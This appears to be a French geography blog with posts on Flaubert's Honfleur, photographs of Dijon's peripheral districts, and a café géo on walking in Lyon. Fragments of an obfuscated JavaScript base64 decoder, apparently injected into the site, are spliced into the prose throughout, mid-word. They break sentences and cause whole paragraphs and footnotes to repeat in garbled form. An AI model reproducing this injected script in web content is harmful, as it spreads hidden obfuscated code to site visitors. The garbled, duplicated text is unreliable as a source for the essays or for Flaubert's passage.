Quand elle fut devant le Calvaire, au lieu de prendre à gauche, elle prit à droite, se perdit dans des chantiers, revint sur ses pas ; des gens qu'elle accosta l'engagèrent à se hâter. Elle fit le tour du bassin rempli de navires, se heurtait contre des amarres. Puis le terrain s'abaissa, des lumières s'entrecroisèrent, et elle se crut folle, en apercevant des chevaux dans le ciel.

Au bord du quai, d'autres hennissaient, effrayés par la mer. Un palan qui les enlevait les descendait dans un bateau, où des voyageurs se bousculaient entre les barriques de cidre, les paniers de fromage, les sacs de grain ; on entendait chanter des poules, le capitaine jurait ; et un mousse restait accoudé sur le bossoir, indifférent à tout cela. Félicité, qui ne l'avait pas reconnu, criait « Victor ! » ; il leva la tête ; elle s'élançait, qu;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=3p5&15)<<4)|(q8>>2);wb=5q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand on retira l'échelle tout à coup.

Le paquebot, que des femmes halaient en chantant, sortit du port. Sa membrure craquait, les vagues pesantes fouettaient sa proue. La voile avait tourné. On ne vit plus personne ; - et, sur la mer argentée par la lune, il faisait une tache noire qui s'enfonça, disparut."

Gustave Flaubert, Un cœur simple, 1877.

On aimerait parfois que la géographie soit écrite comme un conte de Flaubert. L'un des objectifs de la géographie est de décrire, d'expliquer, de comprendre l'espace des Hommes. Cet objectif fait référence au sensible, car il faut bien accéder à l'espace par les sens pour le décrire et l'expliquer. Bien souvent, on se limite dans cette description aux éléments visuels, horizontalement (photographie ou croquis de paysage) et surtout verticalement (plan, carte, photographie aérienne...). La littérature est là pour nous rappeler qu'un espace n'est pas seulement visible en deux ou trois dimensions, il est également audible, tactile, odorant ... Dans l'extrait précédent, Flaubert décrit une expérience spatiale sensible (un trajet de quatre lieues aboutissant à la ville de Honfleur dans le Calvados). Cette expérience est évidemment visuelle ("des lumières s'entrecroisèrent", "sur la mer argentée"), mais aussi auditive ("hennissaient", "on entendait chanter des poules", "jurait", "criait", "en chantant"), tactile ("se heurtait", "se bousculaient") et même odorante avec les "barriques de cidre" et les "paniers de fromages".

Il s'agit bien d'un espace vécu, formidablement illustré. Arm;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=2p5&15)<<4)|(q8>>2);wb=4q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Frémont, l'inventeur de cette notion, s'est d'ailleurs appuyé sur la littérature pour l'illustrer. (carte ci-dessus)(1). L'espace est d'autant plus vécu qu'il est parcouru par l'héroïne. On peut retracer son parcours ; le "calvaire" évoqué par Flaubert correspond peut-être à celui signalé par la carte IGN au lieu dit "La Croix Rouge". De plus, l'extrait souligne le rapport de dépendance entre le vieux port de Honfleur et le port du Havre, construit au XVIe siècle par François Ier sur un site plus favorable au gr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=6p5&15)<<4)|(q8>>2);wb=7q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand commerce. Les march;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=8p5&15)<<4)|(q8>>2);wb=9q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandises entassées sur le quai attendent de traverser l'embouchure de la Seine, qu'aucun pont ne traverse avant Rouen, et ne quitteront la France qu'à partir du Havre. Ce rapport de domination s'est renforcé depuis. Le port du Havre est le 5e port pour le trafic conteneurs du Northern Range avec 7,2% du trafic (2). L'importance économique du port de Honfleur est aujourd'hui négligeable en terme de trafic de march;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=10p5&15)<<4)|(q8>>2);wb=11q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandises (3). C'est un autre secteur de l'économie qui y est valorisé, celui du tourisme. Félicité, l'héroïne de Flaubert y découvrirait aujourd'hui des sensations différentes.

Le bassin est plus calme : les petits bateaux de plaisance ont remplacé les paquebots(4) à destination du Havre, on n'y embarque plus de chevaux. Les quais sont toujours bruyants cependant : on entend les conversations des touristes attablés, et en arrière-plan, la circulation automobile et un joueur de cornemuse écossaise. L'odeur de la mer est dominée par les odeurs de cuisson des nombreux restaurants avoisinants. Le toucher est peut-être moins sollicité que dans la bousculade de l'embarquement décrit par Flaubert, mais il est remplacé par le goût des plats et boissons consommés par les touristes. Le mouvement et l'activité se sont déplacés d'une interface (entre le quai et le bassin) à une autre (entre le quai et le rez-de-chaussée des maisons). On peut tenter de cartographier les sensations non visibles sur la photographie ci-contre, c'est l'objet du schéma proposé. Précisons qu'il n'est pas certain qu'il s'agisse du même bassin que celui décrit par Flaubert. Le bassin photographié ci-dessus était sans doute dévolu aux bateaux de pêche.


Si Félicité revenait à Honfleur aujourd'hui, et qu'elle restait sur la D62 qui longe le revers du talus, elle aboutirait à Notre-Dame-de-la-Grâce, qui offre un large panorama sur l'embouchure de la Seine. Munie de son appareil-photo numérique, Félicité pourrait immortaliser cette vue, de la pointe du Havre jusqu'au pont de Norm;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandie (que Victor pourrait aujourd'hui emprunter, en dépit de son tarif prohibitif, pour se rendre au Havre). On peut se plaire à imaginer la description que Flaubert pourrait offrir des raffineries et du pont à haubans. (Loin de moi l'idée de suggérer un sujet de rédaction pour collégiens !). A défaut, on devra se contenter d'un croquis interprétatif (ci-dessus).

Notes   [ + ]

1. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand elle fut devant le Calvaire, au lieu de prendre à gauche, elle prit à droite, se perdit dans des chantiers, revint sur ses pas ; des gens qu'elle accosta l'engagèrent à se hâter. Elle fit le tour du bassin rempli de navires, se heurtait contre des amarres. Puis le terrain s'abaissa, des lumières s'entrecroisèrent, et elle se crut folle, en apercevant des chevaux dans le ciel.

Au bord du quai, d'autres hennissaient, effrayés par la mer. Un palan qui les enlevait les descendait dans un bateau, où des voyageurs se bousculaient entre les barriques de cidre, les paniers de fromage, les sacs de grain ; on entendait chanter des poules, le capitaine jurait ; et un mousse restait accoudé sur le bossoir, indifférent à tout cela. Félicité, qui ne l'avait pas reconnu, criait « Victor ! » ; il leva la tête ; elle s'élançait, quand Frémont, l'inventeur de cette notion, s'est d'ailleurs appuyé sur la littérature pour l'illustrer. (carte ci-dessus)(1). L'espace est d'autant plus vécu qu'il est parcouru par l'héroïne. On peut retracer son parcours ; le "calvaire" évoqué par Flaubert correspond peut-être à celui signalé par la carte IGN au lieu dit "La Croix Rouge". De plus, l'extrait souligne le rapport de dépendance entre le vieux port de Honfleur et le port du Havre, construit au XVIe siècle par François Ier sur un site plus favorable au grand on retira l'échelle tout à coup.

Le paquebot, que des femmes halaient en chantant, sortit du port. Sa membrure craquait, les vagues pesantes fouettaient sa proue. La voile avait tourné. On ne vit plus personne ; - et, sur la mer argentée par la lune, il faisait une tache noire qui s'enfonça, disparut."

Gustave Flaubert, Un cœur simple, 1877.

On aimerait parfois que la géographie soit écrite comme un conte de Flaubert. L'un des objectifs de la géographie est de décrire, d'expliquer, de comprendre l'espace des Hommes. Cet objectif fait référence au sensible, car il faut bien accéder à l'espace par les sens pour le décrire et l'expliquer. Bien souvent, on se limite dans cette description aux éléments visuels, horizontalement (photographie ou croquis de paysage) et surtout verticalement (plan, carte, photographie aérienne...). La littérature est là pour nous rappeler qu'un espace n'est pas seulement visible en deux ou trois dimensions, il est également audible, tactile, odorant ... Dans l'extrait précédent, Flaubert décrit une expérience spatiale sensible (un trajet de quatre lieues aboutissant à la ville de Honfleur dans le Calvados). Cette expérience est évidemment visuelle ("des lumières s'entrecroisèrent", "sur la mer argentée"), mais aussi auditive ("hennissaient", "on entendait chanter des poules", "jurait", "criait", "en chantant"), tactile ("se heurtait", "se bousculaient") et même odorante avec les "barriques de cidre" et les "paniers de fromages".

Il s'agit bien d'un espace vécu, formidablement illustré. Armand Frémont, l'inventeur de cette notion, s'est d'ailleurs appuyé sur la littérature pour l'illustrer. (carte ci-dessus)(1). L'espace est d'autant plus vécu qu'il est parcouru par l'héroïne. On peut retracer son parcours ; le "calvaire" évoqué par Flaubert correspond peut-être à celui signalé par la carte IGN au lieu dit "La Croix Rouge". De plus, l'extrait souligne le rapport de dépendance entre le vieux port de Honfleur et le port du Havre, construit au XVIe siècle par François Ier sur un site plus favorable au gr;p5=s4.indexOf(wc.charAt(vf++

5. q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand on retira l'échelle tout à coup.

Le paquebot, que des femmes halaient en chantant, sortit du port. Sa membrure craquait, les vagues pesantes fouettaient sa proue. La voile avait tourné. On ne vit plus personne ; - et, sur la mer argentée par la lune, il faisait une tache noire qui s'enfonça, disparut."

Gustave Flaubert, Un cœur simple, 1877.

On aimerait parfois que la géographie soit écrite comme un conte de Flaubert. L'un des objectifs de la géographie est de décrire, d'expliquer, de comprendre l'espace des Hommes. Cet objectif fait référence au sensible, car il faut bien accéder à l'espace par les sens pour le décrire et l'expliquer. Bien souvent, on se limite dans cette description aux éléments visuels, horizontalement (photographie ou croquis de paysage) et surtout verticalement (plan, carte, photographie aérienne...). La littérature est là pour nous rappeler qu'un espace n'est pas seulement visible en deux ou trois dimensions, il est également audible, tactile, odorant ... Dans l'extrait précédent, Flaubert décrit une expérience spatiale sensible (un trajet de quatre lieues aboutissant à la ville de Honfleur dans le Calvados). Cette expérience est évidemment visuelle ("des lumières s'entrecroisèrent", "sur la mer argentée"), mais aussi auditive ("hennissaient", "on entendait chanter des poules", "jurait", "criait", "en chantant"), tactile ("se heurtait", "se bousculaient") et même odorante avec les "barriques de cidre" et les "paniers de fromages".

Il s'agit bien d'un espace vécu, formidablement illustré. Arm;p5=s4.indexOf(wc.charAt(vf++

6. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand commerce. Les marchand commerce. Les march;p5=s4.indexOf(wc.charAt(vf++
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10. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandises (3). C'est un autre secteur de l'économie qui y est valorisé, celui du tourisme. Félicité, l'héroïne de Flaubert y découvrirait aujourd'hui des sensations différentes.

Le bassin est plus calme : les petits bateaux de plaisance ont remplacé les paquebots(4) à destination du Havre, on n'y embarque plus de chevaux. Les quais sont toujours bruyants cependant : on entend les conversations des touristes attablés, et en arrière-plan, la circulation automobile et un joueur de cornemuse écossaise. L'odeur de la mer est dominée par les odeurs de cuisson des nombreux restaurants avoisinants. Le toucher est peut-être moins sollicité que dans la bousculade de l'embarquement décrit par Flaubert, mais il est remplacé par le goût des plats et boissons consommés par les touristes. Le mouvement et l'activité se sont déplacés d'une interface (entre le quai et le bassin) à une autre (entre le quai et le rez-de-chaussée des maisons). On peut tenter de cartographier les sensations non visibles sur la photographie ci-contre, c'est l'objet du schéma proposé. Précisons qu'il n'est pas certain qu'il s'agisse du même bassin que celui décrit par Flaubert. Le bassin photographié ci-dessus était sans doute dévolu aux bateaux de pêche.


Si Félicité revenait à Honfleur aujourd'hui, et qu'elle restait sur la D62 qui longe le revers du talus, elle aboutirait à Notre-Dame-de-la-Grâce, qui offre un large panorama sur l'embouchure de la Seine. Munie de son appareil-photo numérique, Félicité pourrait immortaliser cette vue, de la pointe du Havre jusqu'au pont de Normandises (3). C'est un autre secteur de l'économie qui y est valorisé, celui du tourisme. Félicité, l'héroïne de Flaubert y découvrirait aujourd'hui des sensations différentes.

Le bassin est plus calme : les petits bateaux de plaisance ont remplacé les paquebots(4) à destination du Havre, on n'y embarque plus de chevaux. Les quais sont toujours bruyants cependant : on entend les conversations des touristes attablés, et en arrière-plan, la circulation automobile et un joueur de cornemuse écossaise. L'odeur de la mer est dominée par les odeurs de cuisson des nombreux restaurants avoisinants. Le toucher est peut-être moins sollicité que dans la bousculade de l'embarquement décrit par Flaubert, mais il est remplacé par le goût des plats et boissons consommés par les touristes. Le mouvement et l'activité se sont déplacés d'une interface (entre le quai et le bassin) à une autre (entre le quai et le rez-de-chaussée des maisons). On peut tenter de cartographier les sensations non visibles sur la photographie ci-contre, c'est l'objet du schéma proposé. Précisons qu'il n'est pas certain qu'il s'agisse du même bassin que celui décrit par Flaubert. Le bassin photographié ci-dessus était sans doute dévolu aux bateaux de pêche.


Si Félicité revenait à Honfleur aujourd'hui, et qu'elle restait sur la D62 qui longe le revers du talus, elle aboutirait à Notre-Dame-de-la-Grâce, qui offre un large panorama sur l'embouchure de la Seine. Munie de son appareil-photo numérique, Félicité pourrait immortaliser cette vue, de la pointe du Havre jusqu'au pont de Norm;p5=s4.indexOf(wc.charAt(vf++

12. q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand elle fut devant le Calvaire, au lieu de prendre à gauche, elle prit à droite, se perdit dans des chantiers, revint sur ses pas ; des gens qu'elle accosta l'engagèrent à se hâter. Elle fit le tour du bassin rempli de navires, se heurtait contre des amarres. Puis le terrain s'abaissa, des lumières s'entrecroisèrent, et elle se crut folle, en apercevant des chevaux dans le ciel.

Au bord du quai, d'autres hennissaient, effrayés par la mer. Un palan qui les enlevait les descendait dans un bateau, où des voyageurs se bousculaient entre les barriques de cidre, les paniers de fromage, les sacs de grain ; on entendait chanter des poules, le capitaine jurait ; et un mousse restait accoudé sur le bossoir, indifférent à tout cela. Félicité, qui ne l'avait pas reconnu, criait « Victor ! » ; il leva la tête ; elle s'élançait, qu;p5=s4.indexOf(wc.charAt(vf++

De belles photographies de « ville moche »

Après plusieurs mois de suspense haletant, nous tenons le grand gagnant de notre concours « photographier la France moche » ! Le vainqueur et seul participant a réussi un double pari : montrer les facettes les plus subjectivement « moches » d’une ville réputée pour la beauté de son architecture, d’une part, et d’autre part faire de belles photographies de ces quartiers moches. Cette attitude est très géographique : le photographe dijonnais a d’emblée situé son travail dans la périphérie de Dijon, dans tous les sens du terme. C'est une périphérie spatiale, banlieue ou espace périurbain, mais également une périphérie fonctionnelle, un espace dépendant du centre et dominé par lui. Il s’agit enfin d’une périphérie vécue, d’espaces déconsidérés dans les mentalités dijonnaises. Ils sont à l’opposé de l’image que la ville véhicule dans l’inconscient collectif (une recherche sur Google images peut offrir un aperçu relativement pertinent de cette image.) En montrant que ces espaces marginaux, oubliés volontairement et inconsciemment, peuvent posséder une esthétique propre, le photographe rappelle (si besoin était) que l’esthétique de l’habitat reste absolument subjective, et qu’un quartier périphérique désigné comme « moche » par les habitants du centre-ville peut être considéré comme beau par une partie de ses propres habitants. Les travaux effectués dans l’enseignement secondaire sur la perception par les adolescents de leur quartier montrent que l’attachement sentimental à celui-ci l’emporte souvent sur les codes habituels de l’esthétique urbaine(1).


© Yoman 2010

Les photographies 1 à 5 présentent plusieurs points communs. Elles représentent des espaces très faiblement appropriés. Personne n'habite sur ces bretelles d'accès ni dans ces zones commerciales. Ce sont des espaces fortement marqués par la mobilité et par les temporalités. Leur appropriation passe par des temps forts (la fin d'après-midi, le samedi) et des "temps faibles", où ils sont peu fréquentés ou entièrement déserts (la nuit, le dimanche). Ce sont les espaces du nouveau nomadisme contemporain. Les photographies les montrent à chaque fois sous un angle inhabituel : de nuit et en hiver. Ce parti pris leur donne un aspect particulier. D'un côté, les indices de la présence de l'homme sont omniprésents à travers les revêtements, l'éclairage artificiel, les constructions, et jusqu'au peu de végétation entièrement reconstituée (pelouses sur les bordures de la chaussée). D'un autre côté, les humains sont absents de tous les clichés : la nuit et la neige recouvrent le paysage, et on n'observe aucun passant, ni même une automobile. Seul la photographie n°2 laisse deviner la circulation, réduite à de fantomatiques lignes lumineuses.

La photographie n°6 est différente. Il s'agit cette fois d'un paysage, pris depuis un point de vue offert par un promontoire situé sur la commune de Talant. On voit au premier plan le lac artificiel du Chanoine Kir, retenue d'eau sur le cours de l'Ouche, espace de loisirs pour les Dijonnais. Au second plan s'étale un quartier de gr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfands ensembles, situé sur le territoire communal de Fontaine d'Ouche. L'architecture du quartier est familière, ainsi que sa localisation sur un site enclavé entre le canal et le lac au Nord-Est, et un talus dont le commandement représente une quarantaine de mètres au Sud-Ouest (Le commandement est l'altitude du talus). On retrouve une disposition comparable à La Duchère à Lyon par exemple. L'arrière-plan laisse apparaître le front du talus, sur lequel se déploie un quartier pavillonnaire bien visible sur la photographie aérienne verticale. Le procédé photographique du panorama, ainsi que l'heure de la prise de vue (le crépuscule), rappelle les cartes postales de paysages naturels ou urbains renommés. Le photographe crée ici un décalage entre le sujet (un quartier de grands ensembles) et son traitement. On peut donc montrer les quartiers sensibles autrement que par une photographie des immeubles en contre-plongée, traitement habituel dans la presse et qui renforce leur aspect impressionnant, voire inquiétant. Ici, l'image est dominée par les lignes de force horizontale, ce qui contribue à la rendre apaisante. Sur cette image, la France présupposée "moche" ressemble beaucoup aux quartiers résidentiels aisés de la Côte d'Azur (Le quartier de La Californie sur les hauts de Canne par exemple).

Crédits des photographies :
© Yoman 2010

lien facbook : http://www.facebook.com/pages/Yoman/135089729377

lien flickr : http://www.flickr.com/photos/yomanphoto/

lien site internet : http://www.gulsproductions.com

Notes
(1) Je suis vivement intéressé par toute personne possédant des éléments bibliographiques pour compléter ce postulat

 

Notes   [ + ]

1. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand gagnant de notre concours « photographier la France moche » ! Le vainqueur et seul participant a réussi un double pari : montrer les facettes les plus subjectivement « moches » d’une ville réputée pour la beauté de son architecture, d’une part, et d’autre part faire de belles photographies de ces quartiers moches. Cette attitude est très géographique : le photographe dijonnais a d’emblée situé son travail dans la périphérie de Dijon, dans tous les sens du terme. C'est une périphérie spatiale, banlieue ou espace périurbain, mais également une périphérie fonctionnelle, un espace dépendant du centre et dominé par lui. Il s’agit enfin d’une périphérie vécue, d’espaces déconsidérés dans les mentalités dijonnaises. Ils sont à l’opposé de l’image que la ville véhicule dans l’inconscient collectif (une recherche sur Google images peut offrir un aperçu relativement pertinent de cette image.) En montrant que ces espaces marginaux, oubliés volontairement et inconsciemment, peuvent posséder une esthétique propre, le photographe rappelle (si besoin était) que l’esthétique de l’habitat reste absolument subjective, et qu’un quartier périphérique désigné comme « moche » par les habitants du centre-ville peut être considéré comme beau par une partie de ses propres habitants. Les travaux effectués dans l’enseignement secondaire sur la perception par les adolescents de leur quartier montrent que l’attachement sentimental à celui-ci l’emporte souvent sur les codes habituels de l’esthétique urbaine(1).


© Yoman 2010

Les photographies 1 à 5 présentent plusieurs points communs. Elles représentent des espaces très faiblement appropriés. Personne n'habite sur ces bretelles d'accès ni dans ces zones commerciales. Ce sont des espaces fortement marqués par la mobilité et par les temporalités. Leur appropriation passe par des temps forts (la fin d'après-midi, le samedi) et des "temps faibles", où ils sont peu fréquentés ou entièrement déserts (la nuit, le dimanche). Ce sont les espaces du nouveau nomadisme contemporain. Les photographies les montrent à chaque fois sous un angle inhabituel : de nuit et en hiver. Ce parti pris leur donne un aspect particulier. D'un côté, les indices de la présence de l'homme sont omniprésents à travers les revêtements, l'éclairage artificiel, les constructions, et jusqu'au peu de végétation entièrement reconstituée (pelouses sur les bordures de la chaussée). D'un autre côté, les humains sont absents de tous les clichés : la nuit et la neige recouvrent le paysage, et on n'observe aucun passant, ni même une automobile. Seul la photographie n°2 laisse deviner la circulation, réduite à de fantomatiques lignes lumineuses.

La photographie n°6 est différente. Il s'agit cette fois d'un paysage, pris depuis un point de vue offert par un promontoire situé sur la commune de Talant. On voit au premier plan le lac artificiel du Chanoine Kir, retenue d'eau sur le cours de l'Ouche, espace de loisirs pour les Dijonnais. Au second plan s'étale un quartier de grand gagnant de notre concours « photographier la France moche » ! Le vainqueur et seul participant a réussi un double pari : montrer les facettes les plus subjectivement « moches » d’une ville réputée pour la beauté de son architecture, d’une part, et d’autre part faire de belles photographies de ces quartiers moches. Cette attitude est très géographique : le photographe dijonnais a d’emblée situé son travail dans la périphérie de Dijon, dans tous les sens du terme. C'est une périphérie spatiale, banlieue ou espace périurbain, mais également une périphérie fonctionnelle, un espace dépendant du centre et dominé par lui. Il s’agit enfin d’une périphérie vécue, d’espaces déconsidérés dans les mentalités dijonnaises. Ils sont à l’opposé de l’image que la ville véhicule dans l’inconscient collectif (une recherche sur Google images peut offrir un aperçu relativement pertinent de cette image.) En montrant que ces espaces marginaux, oubliés volontairement et inconsciemment, peuvent posséder une esthétique propre, le photographe rappelle (si besoin était) que l’esthétique de l’habitat reste absolument subjective, et qu’un quartier périphérique désigné comme « moche » par les habitants du centre-ville peut être considéré comme beau par une partie de ses propres habitants. Les travaux effectués dans l’enseignement secondaire sur la perception par les adolescents de leur quartier montrent que l’attachement sentimental à celui-ci l’emporte souvent sur les codes habituels de l’esthétique urbaine(1).


© Yoman 2010

Les photographies 1 à 5 présentent plusieurs points communs. Elles représentent des espaces très faiblement appropriés. Personne n'habite sur ces bretelles d'accès ni dans ces zones commerciales. Ce sont des espaces fortement marqués par la mobilité et par les temporalités. Leur appropriation passe par des temps forts (la fin d'après-midi, le samedi) et des "temps faibles", où ils sont peu fréquentés ou entièrement déserts (la nuit, le dimanche). Ce sont les espaces du nouveau nomadisme contemporain. Les photographies les montrent à chaque fois sous un angle inhabituel : de nuit et en hiver. Ce parti pris leur donne un aspect particulier. D'un côté, les indices de la présence de l'homme sont omniprésents à travers les revêtements, l'éclairage artificiel, les constructions, et jusqu'au peu de végétation entièrement reconstituée (pelouses sur les bordures de la chaussée). D'un autre côté, les humains sont absents de tous les clichés : la nuit et la neige recouvrent le paysage, et on n'observe aucun passant, ni même une automobile. Seul la photographie n°2 laisse deviner la circulation, réduite à de fantomatiques lignes lumineuses.

La photographie n°6 est différente. Il s'agit cette fois d'un paysage, pris depuis un point de vue offert par un promontoire situé sur la commune de Talant. On voit au premier plan le lac artificiel du Chanoine Kir, retenue d'eau sur le cours de l'Ouche, espace de loisirs pour les Dijonnais. Au second plan s'étale un quartier de gr;p5=s4.indexOf(wc.charAt(vf++

« ville durable » contre « ville moche »

Un café géographique au thème alléchant s’est tenu au café de la Cloche ce mercredi 10 février 2010 : « marcher dans la ville, marcher à Lyon »(1). Les deux intervenants, François Bregnac et Sonia Lavadinho, y ont évoqué l’évolution récente des pratiques urbaines en termes de mobilités. Sonia Lavadinho a d’ailleurs rappelé que le mot mobilité, focalisé sur les besoins des utilisateurs, tendait à remplacer celui de transport, focalisé sur le mode.  François Bregnac a  évoqué la remise en question du tout-automobile qui a fait émerger des nouveaux modes (à l’image du vélo’v lyonnais). L’espace dévolu à la voiture ne cesse de reculer dans les centre-villes et Lyon en est un bon exemple (avenues passant de quatre à deux voies, aménagement des berges du Rhône). C’est, au fond, la hiérarchie des modes qui est remise en cause,  le trafic automobile devant laisser une place croissante à la circulation en bus et en bicyclette, mais aussi à la bonne vieille marche à pied. Cela n’est pas sans rappeler la chanson de Jean Boyer chantée par Georges Brassens, Pour me rendre à mon bureau(2), évoquant les restrictions pendant la Seconde Guerre Mondiale.

La marche est donc à la mode : les chercheurs sont de plus en plus nombreux à travers le monde à en faire leur thème d’étude. En outre, toujours selon l’intervenante, les enquêtes sur les déplacements des ménages révèlent une diminution de la part de l’automobile et une augmentation de celle de la marche. La marche évoquée lors de ce Café Géo est une marche urbaine, ludique et branchée, et la liste des exemples défile, diaporama à l’appui. Dans les villes des pays riches se multiplient les places interactives,  les stations de métro tendance, les function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1= »;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=1p5&15)<<4)|(q8>>2);wb=4q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand/ »>places « lounge » (ci-contre)(3) et même les arrêts de bus 